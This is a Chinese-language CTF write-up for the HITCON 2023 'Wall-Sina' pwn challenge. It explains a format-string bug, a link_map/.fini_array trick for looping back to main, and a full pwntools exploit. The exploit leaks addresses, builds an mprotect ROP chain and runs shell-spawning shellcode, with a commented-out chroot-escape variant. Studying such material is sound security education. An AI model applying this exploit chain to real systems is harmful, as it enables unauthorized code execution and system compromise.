2023HitConCTF Wall-Sina
题目分析
附件
源码如下:
#include <unistd.h>
#include <stdio.h>
int main();
char buff[0x48];
void *const gift = main;
int main() {
read(STDIN_FILENO, buff, 0x40);
printf(buff);
}
保护全开
栈上残留了指针_rtld_global
和_rtld_global._dl_ns[0]._ns_loaded
,读rtld_global结构体源码可知,_ns_loaded
是结构体link_map的指针
故我们可以通过fmt任意写在link_map的第一项,也就是l_addr处写任意地址。
题目在.data.rel保留了一个main的指针,且在.fini_array后不远处,故我们可以改写l_addr的LSB,使l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr指向该指针,达成第二次fmt。在泄露各地址之后还能再改l_addr使.fini定位到main达成第三次fmt。
利用步骤
- 利用第一次fmt,将栈上残留的
_rtld_global._dl_ns[0]._ns_loaded
改为可以指向main的指针,泄露libc、栈、程序基地址 - 返回到main,此时是dl_call_fini函数调用的main函数,栈帧中rbp会存放link_map的指针,利用第二次fmt改写linkmap指针指向main,布置三级指针指向main函数返回地址为下一次劫持返回地址做准备
- 返回到main,此时是dl_call_fini函数调用的main函数,利用第三次fmt利用第二步的三级指针将main返回地址改为gets函数,为输入构造的ROP数据,在栈上布满ret,加shellcode,当gets函数返回时触发ret,滑行到shellcode
整体思路:程序只有一个一次的fmt,为了让程序loop起来必须构造循环,但是我们并不知道栈、libc、程序基地址,不能通过三级指针来修改main、printf返回地址为main使程序loop起来;
所以考虑在程序退出时会调用.fini_array中的函数,在退出之前将fini_array偏移指向main即可多获得一次fmt机会
后续就可以通过shellcode进行chroot逃逸或拿shell了
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.update(arch="amd64", os="linux")
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
exe = ELF("sina_patched")
libc = ELF("/home/yrl/glibc-all-in-one/libs/2.37-0ubuntu2_amd64/libc.so.6")
ld = ELF("/home/yrl/glibc-all-in-one/libs/2.37-0ubuntu2_amd64//ld-linux-x86-64.so.2")
# shortcuts
def logbase(): print("libc base = %#x" % libc.address)
def logleak(name, val): print(name+" = %#x" % val)
def sa(delim,data): return p.sendafter(delim,data)
def sla(delim,line): return p.sendlineafter(delim,line)
def sl(line): return p.sendline(line)
def rcu(d1, d2=0):
p.recvuntil(d1, drop=True)
# return data between d1 and d2
if (d2):
return p.recvuntil(d2,drop=True)
host, port = "206.189.113.236", "30674"
limit=0
while True:
p = process("./sina")
limit=2
# use _dl_fini link_map trick to return to main and leak addresses for libc,main, stack
payload1 = '%8c%32$hhn.%1$p..%3$p..%13$p.'
sl(payload1.ljust(0x3f,' '))
exe.address = int(rcu('.0x', '.'),16)-0x4040
logleak('prog base', exe.address)
libc.address = int(rcu('.', '.'),16)-0x10b941
logbase()
stack = int(rcu('.', '.'),16) - 0x110
logleak('stack', stack)
# we wait the libc ASLR lower 32bits are small , to no receive gigabytes of data back
if (((libc.address>>24) & 0xff)>limit):
p.sendline('%p')
else:
break
# set stack address for overwriting return address, and do a second ret2main
gdb.attach(p)
pause()
low1 = ((exe.address+0x1159)-0x11b8)&0xffff
low2 = ((stack-0x100+0x10) & 0xffff)
if (low1<low2):
sl('%'+str(low1)+'c%8$hn%'+str(low2-low1)+'c%35$hnXY%p')
else:
sl('%'+str(low2)+'c%35$hn%'+str(low1-low2)+'c%8$hnXY%p')
pause()
p.recvuntil('XY0x' , drop=True)
# gdb.attach(p)
pause()
# replace return address by gets() function, we will send the next payload via gets
low3 = (libc.sym['gets']) & 0xffffffff
print('low3 = '+hex(low3))
payload1 = '%'+str(low3)+'c%73$nPIPO%p'
context.log_level = 'info'
p.sendline(payload1.ljust(0x3f,' '))
p.recvuntil(b'PIPO0x' , drop=True)
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
syscall = rop.find_gadget(['syscall', 'ret'])[0]
add_eax_3 = libc.address + 0x00000000000ce298 # add eax, 3 ; ret
gadget_ret = pop_rdi + 1 # ret
print('pop_rdi breakpoint = '+hex(pop_rdi))
print('gadget_ret = '+hex(gadget_ret))
pause()
payload = b''
payload += p64(gadget_ret)*(0x208>>3)
stack2 = stack-0x90
# # put shellcode at end of ROP, map stack rwx, and execute the shellcode to exit chroot
# offset = 33
# # map stack rwx and jump to shellcode (with a nopsled for security)
payload += p64(pop_rdi)+p64(stack2 & 0xfffffffffffff000)+p64(pop_rsi)+p64(0x2000)+p64(pop_rdx)+p64(7)+p64(pop_rax)+p64(7)+p64(add_eax_3)+p64(syscall)+p64(stack2+(17*8))
# payload += b'\x90'*128+asm("".join(
# [
# shellcraft.mkdir("lol", 0o755),
# shellcraft.chroot("lol"),
# shellcraft.chroot("../../../../../../../../../../../../../../../.."),
# shellcraft.sh()
# ]))
payload += b'\x90'*128+asm("".join(
[
# shellcraft.mkdir("lol", 0o755),
# shellcraft.chroot("lol"),
# shellcraft.chroot("../../../../../../../../../../../../../../../.."),
shellcraft.sh()
]))
# # escape 0x7f for remote payload, because of qemu or strace...
# payloadc = b''
# for c in payload:
# payloadc += b'\x16'+c
p.sendline(payload)
p.interactive()